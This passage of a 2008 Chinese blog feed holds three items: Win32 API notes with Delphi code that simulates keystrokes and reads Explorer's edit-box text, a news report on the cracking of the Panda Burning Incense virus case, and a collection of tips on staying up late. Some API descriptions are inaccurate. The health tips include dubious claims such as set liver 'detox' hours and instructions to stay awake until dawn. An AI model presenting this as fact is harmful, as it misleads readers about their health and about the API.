改变CBDownWidth<BR>WM_CUT、WM_COPY和WM_PASTE　　剪切，复制，粘帖<BR>实现任意组合键<BR>keybd_event(VK_Control,&nbsp;MapVirtualKey(VK_Control,&nbsp;0),&nbsp;0,&nbsp;0);<BR>keybd_event(ord('V'),&nbsp;MapVirtualKey(ord('V'),&nbsp;0),&nbsp;0,&nbsp;0);<BR>keybd_event(ord('V'),&nbsp;MapVirtualKey(ord('V'),&nbsp;0),&nbsp;KEYEVENTF_KEYUP,&nbsp;0);<BR>keybd_event(VK_Control,&nbsp;MapVirtualKey(VK_Control,&nbsp;0),&nbsp;KEYEVENTF_KEYUP,&nbsp;0);<BR><BR>SendMessageA<BR>说明:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;调用一个窗口的窗口函数，将一条消息发给那个窗口。除非消息处理完毕，否则该函数不会返回SendMessage所包含4个参数:&nbsp;&nbsp;&nbsp;&nbsp;<BR>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hwnd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;32位的窗口句柄窗口可以是任何类型的屏幕对象，因为Win32能够维护大多数可视对象的句柄<BR>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wMsg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用于区别其他消息的常量值，这些常量可以是Windows单元中预定义的常量，也可以是自定义的常量<BR>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wParam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通常是一个与消息有关的常量值，也可能是窗口或控件的句柄<BR>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lParam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通常是一个指向内存中数据的指针。由于WParm、lParam和Pointer都是32位的，因此，它们之间可以相互转换<BR>wMsg函数&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_CREATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建一个窗口<BR>★WM_DESTROY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当一个窗口被破坏时发送<BR>★WM_MOVE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;移动一个窗口<BR>★WM_SIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;改变一个窗口的大小<BR>★WM_ACTIVATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一个窗口被激活或失去激活状态<BR>★WM_SETFOCUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一个窗口获得焦点<BR>★WM_KILLFOCUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一个窗口失去焦点<BR>★WM_ENABLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一个窗口改变成Enable状态<BR>★WM_SETREDRAW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设置窗口是否能重画<BR>★WM_SETTEXT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序发送此消息来设置一个窗口的文本<BR>★WM_GETTEXT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序发送此消息来复制对应窗口的文本到缓冲区<BR>★WM_GETTEXTLENGTH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;得到与一个窗口有关的文本的长度（不包含空字符）<BR>★WM_PAINT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;要求一个窗口重画自己<BR>★WM_CLOSE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当一个窗口或应用程序要关闭时发送一个信号<BR>★WM_QUERYENDSESSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用户选择结束对话框或程序自己调用ExitWindows函数<BR>★WM_QUIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用来结束程序运行<BR>★WM_QUERYOPEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用户窗口恢复以前的大小位置时，把此消息发送给某个图标<BR>★WM_ERASEBKGND&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当窗口背景必须被擦除时（例在窗口改变大小时）<BR>★WM_SYSCOLORCHANGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当系统颜色改变时，发送此消息给所有顶级窗口<BR>★WM_QUERYENDSESSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;消息后，此消息发送给应用程序，通知它对话是否结束<BR>★WM_SHOWWINDOW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当隐藏或显示窗口是发送此消息给这个窗口<BR>★WM_ACTIVATEAPP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发此消息给应用程序哪个窗口是激活的，哪个是非激活的&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_FONTCHANGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当系统的字体资源库变化时发送此消息给所有顶级窗口<BR>★WM_TIMECHANGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当系统的时间变化时发送此消息给所有顶级窗口<BR>★WM_CANCELMODE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发送此消息来取消某种正在进行的摸态（操作）<BR>★WM_SETCURSOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果鼠标引起光标在某个窗口中移动<BR>★WM_ENDSESSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当系统进程发出且鼠标输入没有被捕获时，就发消息给某个窗口<BR>★WM_MOUSEACTIVATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口<BR>★WM_CHILDACTIVATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小<BR>★WM_QUEUESYNC&nbsp;&nbsp;&nbsp;&nbsp;此消息由基于计算机的训练程序发送,通过&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WH_JOURNALPALYBACK的hook程序分离出用户输入消息<BR>★WM_GETMINMAXINFO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息发送给窗口当它将要改变大小或位置&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_PAINTICON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发送给最小化窗口当它图标将要被重画<BR>★WM_ICONERASEBKGND&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画<BR>★WM_NEXTDLGCT★发送此消息给一个对话框程序去更改焦点位置<BR>★WM_SPOOLERSTATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;每当打印管理列队增加或减少一条作业时发出此消息&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_DRAWITEM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当button，combobox，listbox，menu的可视外观改变时发送<BR>★WM_MEASUREITEM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当button,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;combobox,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listbox,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listview&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;control,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;menuitem&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;被创建时<BR>★WM_VKEYTOITEM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_CHARTOITEM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_SETFONT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当绘制文本时程序发送此消息得到控件要用的颜色<BR>★WM_GETFONT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序发送此消息得到当前控件绘制文本的字体<BR>★WM_SETHOTKEY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序发送此消息让一个窗口与一个热键相关连<BR>★WM_GETHOTKEY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序发送此消息来判断热键与某个窗口是否有关联<BR>★WM_QUERYDRAGICON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息发送给最小化窗口，当此窗口将要被拖放而它的类中没有定义图标，应用程序能返回一个图标或光标的句柄，当用户拖放图标时系统显示这个图标或光标<BR>★WM_COMPAREITEM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发送此消息来判定combobox或listbox新增加的项的相对位置<BR>★WM_COMPACTING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;显示内存已经很少了<BR>★WM_WINDOWPOSCHANGING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发送此消息给那个窗口的大小和位置将要被改变时，来调用setwindowpos函数或其它窗口管理函数<BR>★WM_WINDOWPOSCHANGED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;发送此消息给那个窗口的大小和位置已经被改变时，来调用setwindowpos函数或其它窗口管理函数<BR>★WM_POWER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当系统将要进入暂停状态时发送此消息<BR>★WM_COPYDATA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当一个应用程序传递数据给另一个应用程序时发送此消息<BR>★WM_CANCELJOURNA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当某个用户取消程序日志激活状态，提交此消息给程序<BR>★WM_NOTIFY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当某个控件的某个事件已经发生或这个控件需要得到一些信息时，发送此消息给它的父窗口&nbsp;&nbsp;&nbsp;&nbsp;<BR>★WM_INPUTLANGCHANGEREQUEST&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当用户选择某种输入语言，或输入语言的热键改变<BR>★WM_INPUTLANGCHANGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当平台现场已经被改变后发送此消息给受影响的最顶级窗口<BR>★WM_TCARD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当程序已经初始化windows帮助例程时发送此消息给应用程序<BR>★WM_HELP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此消息显示用户按下了F1，如果某个菜单是激活的，就发送此消息个此窗口关联的菜单，否则就发送给有焦点的窗口，如果当前都没有焦点，就把此消息发送给当前激活的窗口<BR>★WM_USERCHANGED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当用户已经登入或退出后发送此消息给所有的窗口，当用户登入或退出时系统更新用户的具体设置信息，在用户更新设置时系统马上发送此消息<BR>★WM_NOTIFYFORMAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;公用控件，自定义控件和他们的父窗口通过此消息来判断控件是使用ANSI还是UNICODE结构<BR><BR>&nbsp;&nbsp;&nbsp;function&nbsp;&nbsp;&nbsp;&nbsp;EnumChildWindowsProc(hwnd,&nbsp;&nbsp;&nbsp;&nbsp;lparam:&nbsp;&nbsp;&nbsp;&nbsp;Integer):&nbsp;&nbsp;&nbsp;&nbsp;Boolean;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;var&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer:&nbsp;&nbsp;&nbsp;&nbsp;array[0..255]&nbsp;&nbsp;&nbsp;&nbsp;of&nbsp;&nbsp;&nbsp;&nbsp;char;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;begin&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;&nbsp;&nbsp;&nbsp;:=&nbsp;&nbsp;&nbsp;&nbsp;True;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetClassName(hwnd,buffer,256);&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;&nbsp;&nbsp;StrPas(Buffer)='Edit'&nbsp;&nbsp;&nbsp;&nbsp;then&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendMessage(hwnd,WM_GETTEXT,256,lparam);&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result:=False;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;end;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;procedure&nbsp;&nbsp;&nbsp;&nbsp;TForm1.Button1Click(Sender:&nbsp;&nbsp;&nbsp;&nbsp;TObject);&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;var&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hwnd:&nbsp;&nbsp;&nbsp;&nbsp;Integer;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer:&nbsp;&nbsp;&nbsp;&nbsp;array[0..255]&nbsp;&nbsp;&nbsp;&nbsp;of&nbsp;&nbsp;&nbsp;&nbsp;char;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;Begin&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hwnd&nbsp;&nbsp;&nbsp;&nbsp;:=&nbsp;&nbsp;&nbsp;&nbsp;FindWindow('CabinetWClass',nil);&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;&nbsp;&nbsp;hwnd&lt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;then&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EnumChildWindows(hwnd,@EnumChildWindowsProc,Longint(@buffer[0]));&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Caption&nbsp;&nbsp;&nbsp;&nbsp;:=&nbsp;&nbsp;&nbsp;&nbsp;StrPas(buffer);&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;&nbsp;&nbsp;<BR>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:22:00</pubDate>
</item>
<item>
<title><![CDATA[知情人士披露熊猫烧香病毒案破获内幕]]></title>
<link>http://hacker.hblog.net/archives/2008/200862423183.shtml</link>
<description><![CDATA[<IMG onmouseover="this.style.cursor='hand';" style="CURSOR: hand" onclick=window.open(this.src); height=421 alt=按此在新窗口打开图片 src="http://image2.sina.com.cn/IT/i/2007-02-12/U761P2T1D1381920F13DT20070212204903.jpg" width=518 onload=javascript:DrawImage(this); border=0><BR>病毒作者牟利途径关系图(图片来源：安全焦点核心成员tombkeeper)<BR><BR>　　新浪科技讯&nbsp;2月12日消息，肆虐中国互联网的熊猫烧香病毒宣告侦破，在当天晚间，接近该案专案小组的知情人士向新浪科技独家披露了抓捕内幕。这是迄今为止，我国破获的国内首例制作计算机病毒的大案。<BR><BR>　　湖北省公安厅今日下午对外宣布，湖北省网络监察处在浙江、山东、广西、天津、广东、四川、江西、云南、新疆、河南等地公安机关的配合下，一举侦破了制作传播“熊猫烧香”病毒案，并抓获8名犯罪嫌疑人。&nbsp;<BR><BR>　　接近该案的知情人士透露，公安部从去年10月底就开始关注熊猫烧香病毒，“它的传播面特别大，影响面广而且特别恶劣。”尽管病毒作者拥有绞尽脑汁进行自我隐藏，不过在锁定目标的过程中，还是在互联网上留下了很多蛛丝马迹。“其实这类病毒的作者往往以赚钱为目的，总是会留下线索。”专案小组选择从互联网上的一些社区信息、域名注册信息开始入手。<BR><BR>　　该人士表示，目前在多个相关病毒都的代码里写着WhBOY，其中就包括大名鼎鼎的熊猫烧香，流氓软件51VC，以及一些腾讯QQ、网游传奇账号密码盗窃的木马软件。“这些木马的代码、传播以及爆发手法都极为相似”，专案小组初步判断为同一人所为，决定并案侦查。<BR><BR>　　“举个例子来说，51.vc的网站上写着ICP证是：鲁ICP证005248号。”知情人士表示，专案小组当即查明这是一个伪造的ICP证，通过有关渠道查到另一个网站www.51pm.org也是使用了这个伪造的ICP证。尽管当时该网站已不能访问，但可以搜索引擎的快照功能回溯该站点网页，其内容和51.vc完全一样。专案小组在掌握了上述信息后，立即着手寻找51.vc或51pm.org注册者，而这些人也就是这些病毒的作者、或者幕后指使的关联人物。<BR><BR>　　知情人士表示，上述例子只是侦破手段中的一种方法，“事实上，在侦破过程中采用了多方面信息相互印证的办法。”据介绍，目前互联网上有多种追踪方式，对于大规模传播的病毒而言，幕后黑手几乎无法藏身。<BR><BR>　　最早对熊猫烧香病毒进行查杀的超级巡警软件曾被误认为是幕后黑手，今日晚间新浪科技在专访该软件总负责人董志强时，他表示现在真相都已经大白，感到十分欣慰。“超级巡警也曾向国家有关部门提交过熊猫烧香的技术资料。”董志强表示，当时也希望这些技术资料能够在追查病毒作者方面起到足够的作用。<BR><BR>　　信息安全业内人士表示，技术上锁定并取证后，再通过调查其背后商业目的的方法入手分析，一般都能发现蛛丝马迹。尤其是熊猫烧香与以往许多病毒都在拼命隐藏作者身份的做法不同，熊猫烧香的作者显得过于明目张胆。据悉，此次有关部门抓捕病毒作者，因为熊猫烧香的病毒不仅自己扩散传播，还主动销售源代码给其它盗窃团伙，这些种种行为都暴露了他自身的身份。<BR><BR>　　“这个病毒是通过入侵网站并挂上木马来实现传播，并盗取用户有价值的虚拟账户的。除此之外，这个团伙还销售病毒源码牟利，其影响的规模非常巨大，社会影响极为恶劣。”接近专案小组的知情人士表示。“不仅是他们一个病毒团伙在传播，而是有大量团伙一起传播。”<BR><BR>　　“这背后也许还隐藏着更为复杂的利益集团，这些都还没有最终浮出水面。”(马城&nbsp;金磊)]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:18:00</pubDate>
</item>
<item>
<title><![CDATA[熬夜的保健知识大全]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624231843.shtml</link>
<description><![CDATA[<P id=fp>网站上有很多“熬夜族”，为了工作，为了生计，为了娱乐，为了各种原因，现收集一些关于熬夜的保健知识，希望对大家健康有帮助。&nbsp;<BR><BR><BR>　　“日出而作，日落而息。”这是长期以来人类适应环境的结果。熬夜会损害身体健康。因为，人体肾上腺皮质激素和生长激素都是在夜间睡眠时才分泌的。前者在黎明前分泌，具有促进人体糖类代谢、保障肌肉发育的功能；后者在入睡后方才产生，既促进青少年的生长发育。也能延缓中老年人衰老。故一天中睡眠最佳时间是晚上10时到凌晨6时。&nbsp;<BR>　　<BR>　　经常熬夜的人，应采取哪能些自我保健措施呢？一是加强营养，应选择量少质高的蛋白质、脂肪和维生素B&nbsp;族食物如牛奶、牛肉、猪肉、鱼类、豆类等，也可吃点干果如核桃、大枣、桂圆、花生等，这样可以起到抗疲劳的功效。二是加强锻炼身体。可根据自己的年龄和兴趣进行锻炼，提高身体素质。熬夜中如感到精力不足或者欲睡，就应做一会儿体操、太极拳或到户外活动一下。三是调整生理节律。常年熬夜者应根据作息时间表，并不断修改至适应。四是消除思想负担。常熬夜者切忌忧虑和恐惧，应树立信心，在夜晚工作中保持愉快的心情和高昂的情绪。&nbsp;<BR><BR>==========================================&nbsp;　　<BR><BR>　　熬夜常识<BR><BR>　　熬夜也要有技巧，才能依然身体硬朗，否则，铁打的身体，也受不了如此的日夜&nbsp;操劳呢～因此，想要熬夜的您，千万记住：&nbsp;<BR>　　１：不要吃泡面来填饱肚子，以免火气太大，最好尽量以水果、土司、面包、清粥小菜来充饥。&nbsp;<BR>　　２：开始熬夜前，来一颗维他命ｂ群营养丸，维他命ｂ能够解除疲劳，增强人体免疫力。&nbsp;<BR>　　３：提神饮料，最好以绿茶为主，可以提神，又可以消除体内多余的自由基，让您神清气爽；但是肠不好的人，最好改喝枸杞子泡热水的茶，可以解压，还可以明目呢！&nbsp;<BR>　　４：熬夜前千万记得卸妆，或是先把脸洗干净，以免厚厚的粉层或油渍，在熬夜的煎熬下长满脸痘痘。&nbsp;<BR>　　５：熬夜之后，第二天中午时千万记得打个小盹。生理时钟，一般而言熬夜是不容易补救的，补救的原则还是建议您改回原来的睡眠时间，尤其是熬夜会使生理时钟发生问题，此时要改回原先的睡觉时间会较难，可建议您不论前一晚多晚睡，次日一定同一时间起床（如设定７点起床），白天想睡时不可卧床大睡，仅能趴着小睡如此便能逐渐将入睡时间提早。&nbsp;<BR><BR>==========================================&nbsp;　　<BR><BR>　　生　理　时　钟　说　明&nbsp;<BR><BR>　　00：00～01：00&nbsp;浅眠期&nbsp;多梦而敏感，身体不适者易在此时痛醒。&nbsp;<BR>　　01：00～02：00&nbsp;排毒期&nbsp;此时肝脏为排除毒素而活动旺盛，应让身体进入睡眠状态，让肝脏得以完成代谢废物。&nbsp;<BR>　　02：00～03：00&nbsp;休眠期&nbsp;重症病人最易发病的时刻，常有患病者在此时死亡，熬夜最好勿超过这个时间。&nbsp;<BR>　　09：00～11：00&nbsp;精华期&nbsp;此时为注意力及记忆力最好，且工作与学习的最佳时段。&nbsp;<BR>　　12：00～13：00&nbsp;午休期&nbsp;最好静坐或闭目休息一下再进餐，正午不可饮酒，易醉又伤肝哦！&nbsp;<BR>　　14：00～15：00&nbsp;高峰期&nbsp;是分析力和创造力得以发挥淋漓的极致时段！&nbsp;<BR>　　16：00～17：00&nbsp;低潮期&nbsp;体力耗弱的阶段，最好补充水果来解馋，避免因饥饿而贪食致肥胖。&nbsp;<BR>　　17：00～18：00&nbsp;松散期&nbsp;此时血糖略增，嗅觉与味觉最敏感，不妨准备晚膳来提振精神。&nbsp;<BR>　　19：00～20：00&nbsp;暂憩期&nbsp;最好能在饭后３０分钟去散个步或沐浴，放松一下，纾解一日的疲倦困顿。&nbsp;<BR>　　20：00～22：00&nbsp;夜修期&nbsp;此为晚上活动的巅峰时段，建议您善用此时进行商议，进修等需要思虑周密的活动。&nbsp;<BR>　　23：00～24：00&nbsp;夜眠期&nbsp;经过镇日忙碌，此时应该放松心情进入梦乡，千万别让身体过度负荷，那可得不偿失哦！&nbsp;<BR>　　提醒大家小心注意自己身体，让人生更加健康充实，晚了就来不及了！！！&nbsp;<BR><BR>==========================================&nbsp;<BR><BR>　　熬夜的生活这样过&nbsp;<BR><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。&nbsp;<BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。&nbsp;<BR><BR>==========================================&nbsp;<BR><BR>　　熬夜须知&nbsp;　　<BR>　　1、熬夜时要吃热的东西（如热方便面）。&nbsp;<BR>　　2、晚饭不能吃太饱。&nbsp;<BR>　　3、注意保暖，不要冻着肚子。&nbsp;<BR>　　4、一定要有足够多的白开水。&nbsp;<BR>　　5、熬夜无论多累中间不可上床休息。&nbsp;<BR>　　6、若乏困可喝咖啡或茶水之类的刺激性饮品来提神，但要注意应饮热的，浓度不要太高，以免伤胃。&nbsp;<BR>　　7、熬夜时，应时时做深长呼吸。&nbsp;<BR>　　8、至少要熬到天亮，即凌晨5点左右，并不断的想象太阳升起时的辉煌和气势。&nbsp;<BR>　　9、早饭一定要吃饱，一定不要吃凉的食物。&nbsp;<BR>　　10、凌晨7、8点钟，若要睡觉，一定要收心，即使不上床睡觉，也要坐在椅子上收心。&nbsp;<BR><BR>==========================================&nbsp;<BR>　<BR>　　熬夜族的饮食保健&nbsp;<BR><BR>　　夜工作者要供给充足的维生素A，因维生素A可调节视网膜感光物质———视紫的合成，能提高熬夜工作者对昏暗光线的适应力，而防止视觉疲劳。&nbsp;<BR>　　<BR>　　熬夜工作者劳动强度大，耗能多，应注意优质蛋白质的补充。动物蛋白质最好能达到蛋白质供应总量的一半。因为动物蛋白质含人体必需氨基酸，这对于保证熬夜工作者提高工作效率和身体健康是有好处的。&nbsp;<BR>　　<BR>==========================================&nbsp;<BR>　　<BR>　　熬夜一族的自我保健&nbsp;<BR><BR>　　　生活在节奏紧张的现代社会，没有熬过夜的人是幸运的人。熬夜会使身体的正常节律性发生紊乱，对视力、肠胃及睡眠都造成影响。那么，经常熬夜的人应该怎样自我保健呢？&nbsp;<BR>　　<BR>　　熬夜的人多半是做文字工作或经常操作电脑的人，在昏黄灯光下苦战一夜容易使眼肌疲劳、视力下降。卫生部北京医院营养科的主管营养师李长平大夫告诉记者，维生素A及维生素B对预防视力减弱有一定效果，维生素A可调节视网膜感光物质——视紫的合成，能提高熬夜工作者对昏暗光线的适应力，防止视觉疲劳。所以要多吃胡萝卜、韭菜、鳗鱼等富含维生素A的食物，以及富含维生素B的瘦肉、鱼肉、猪肝等动物性食品。&nbsp;<BR>　　<BR>　　此外，还应适当补充热量，吃一些水果、蔬菜及蛋白质食品如肉、蛋等来补充体力消耗，但千万不要大鱼大肉地猛吃。李长平大夫认为，吃一些花生米、杏仁、腰果、胡桃等干果类食品，它们含有丰富的蛋白质、维生素B、维生素E、钙和铁等矿物质以及植物油，而胆固醇的含量很低，对恢复体能有特殊的功效。&nbsp;<BR>　　<BR>　　除了在饮食上下功夫，熬夜一族要加强身体锻炼。熬夜中如感到精力不足或者欲睡，就应做一会儿体操或到户外活动一下。由于熬夜会占去正常睡眠的时间，因此在补充睡眠上不妨见机行事。如下班回家时，在车上闭目养神片刻，或在单位午休时为自己安排一小会儿午睡等，可恢复体力，使精神振作。&nbsp;<BR>　　<BR>==============================================&nbsp;<BR>　　<BR>　　<BR>　　熬夜最佳作息表&nbsp;<BR>　　<BR>　　有的人喜欢熬夜，但其结果往往是把自己搞的精疲力尽，效率低下，长久下去还会伤害身体。其实，科学的、间断性的熬夜有时会使某些类型的人获得意想不到的效果。熬夜后，在凌晨4、5点钟入睡，熬了一整夜，你一定感到很累，所以睡觉时会睡得特别香、特别沉，你会休息得特别好。熬夜可以使你集中较长的时间，专攻一项难度较大的工作。&nbsp;<BR>　　<BR>　　执行本作息表的先决条件是你晚上9、10点钟时感到精力过剩，根本不想睡觉。一般人轻易不要用本作息表。&nbsp;<BR>　　10：00起床&nbsp;<BR>　　10：00—11：00散步、听音乐&nbsp;<BR>　　11：00—11：20吃饭，喝热汤、多青菜、有肉&nbsp;<BR>　　11：30—19：30看书、做练习&nbsp;<BR>　　19：30—20：00吃饭，有肉、多菜、九成饱&nbsp;<BR>　　20：00—凌晨4：30工作、学习&nbsp;<BR>　　凌晨4：30—10：00睡觉&nbsp;<BR><BR>==========================================&nbsp;<BR>　　<BR>　　熬夜最佳饮食&nbsp;<BR>　　<BR>　　经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。&nbsp;<BR>　　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。&nbsp;<BR>　　<BR>　　